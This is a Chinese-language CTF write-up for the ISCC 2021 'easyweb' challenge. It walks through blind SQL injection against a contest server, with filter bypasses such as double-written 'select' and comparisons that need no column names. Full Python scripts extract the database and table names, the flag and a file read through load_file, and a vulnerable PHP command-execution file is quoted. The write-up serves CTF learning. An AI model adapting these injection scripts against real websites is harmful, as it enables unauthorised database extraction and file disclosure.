iscc2021 easyweb
考点:无列名sql盲注
payload:
import requests
url = "http://39.96.91.106:5001/?id="
result = ""
i = 0
while (True):
i = i + 1
head = 32
tail = 127
while (head < tail):
mid = (head + tail) >> 1
payload = "1'and!!!!if(ascii(substr(database(),{},1))>{},1,0)%23".format(i,mid)#iscc_web
#payload = "1'and!!!!if(ascii(substr(version(),{},1))>{},1,0)%23".format(i,mid) 5.7.33-0ubuntu0.16.04.1
r = requests.get(url + payload)
r.encoding = "utf-8"
# print(url+payload)
if "Your Login name" in r.text:
head = mid + 1
else:
# print(r.text)
tail = mid
last = result
if head != 32:
result += chr(head)
else:
break
print(result)
但是发现过滤了or
,所以无法使用information_schema
数据库来爆破库、表、列、数据了,查看版本,5.7.33,存在sys
数据库
所以可以利用sys
数据库查出表名,这里很坑的就是它把select
过滤了,但是他不告诉你,回显不是die
,而是正常返回值,需要使用双写绕过seselectlect
import requests
url = "http://39.96.91.106:5001/?id="
result = ""
i = 0
while (True):
i = i + 1
head = 32
tail = 127
while (head < tail):
mid = (head + tail) >> 1
payload = "0%27||if(ascii(substr((seselectlect%0dgroup_concat(table_name)%0dfrom%0dsys.schema_table_statistics_with_buffer%0dwhere%0dtable_schema=database()),{},1))>{},1,0)%23".format(i,mid)#easyweb,iscc_flag
r = requests.get(url + payload)
r.encoding = "utf-8"
# print(url+payload)
if "Your Login name" in r.text:
head = mid + 1
else:
# print(r.text)
tail = mid
last = result
if head != 32:
result += chr(head)
else:
break
print(result)
然后就是无列名盲注了
我想用0%27||if(ascii(substr((seselectlect*from%0d(seselectlect%0d*%0dfrom%0discc_flag%0das%0da%0djoin%0discc_flag%0db)c),1,1))>1,1,0)%23
注入,但是发现好像不行,
无列名盲注如下:
核心payload如下
id="1'and((select 1,{})>(select * from(iscc_flag)))%23".format(hexchar)
假设 flag 为 flag {bbbbb},对于 payload 这个两个 select 查询的比较,是按位比较的,即先比第一位,如果相等则比第二位,以此类推;在某一位上,如果前者的 ASCII 大,不管总长度如何,ASCII 大的则大,
在这样的按位比较过程中,因为在里层的 for()
循环,字典顺序是从ASCII
码小到大来枚举并比较的,假设正确值为b
,那么字典跑到b 的时候b=b
不满足payload
的大于号,只能继续下一轮循环,c>b
此时满足了,题目返回真,这个时候就需要记录flag
的值了,但是此时这一位的char
是c
,而真正的flag
的这一位应该是b
才对,所以flag += chr(char-1)
,这就是为什么在存flag
时候要往前偏移一位的原因,payload如下:
import requests
url = 'http://39.96.91.106:5001/?id='
def trans(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
hexchar = ''
for char in range(32, 126):
hexchar = trans(flag+ chr(char))
payload = "0'||((seselectlect%0d1,{})>(seselectlect%0d*%0dfrom%0discc_flag))%23".format(hexchar)
r = requests.get(url+payload)
text = r.text
if 'Your Login name' in r.text:
flag += chr(char-1)
print(flag)
break
hex()
操作,这是因为 MySQL 遇到 hex 会自动转成字符串
得到CCCMD.PHP
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){
exit("die!!");
}else{
echo `$c`;
}
}else{
highlight_file(__FILE__);
}
?>
<!--flllllllllaaag.php-->
这里发现好像不能执行命令,但是我们SQL语句也可以使用load_file
读取文件内容,试一试,没被过滤
执行pwd
命令,得到当前路径/var/www/const
脚本如下:
import requests
url = "http://39.96.91.106:5001/?id="
result = ""
i = 0
while (True):
i = i + 1
head = 32
tail = 127
while (head < tail):
mid = (head + tail) >> 1
payload = "0%27||if(ascii(substr((seselectlect%0dhex(load_file(0x2f7661722f7777772f636f6e73742f666c6c6c6c6c6c6c6c6c616161672e706870))),{},1))>{},1,0)%23".format(i,mid)
r = requests.get(url + payload)
r.encoding = "utf-8"
# print(url+payload)
if "Your Login name" in r.text:
head = mid + 1
else:
# print(r.text)
tail = mid
last = result
if head != 32:
result += chr(head)
else:
break
print(result)
得到:
3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E
16进制解密,得到:
<?php
$flag="iscc{eeeeeasy_web!!666666}";
?>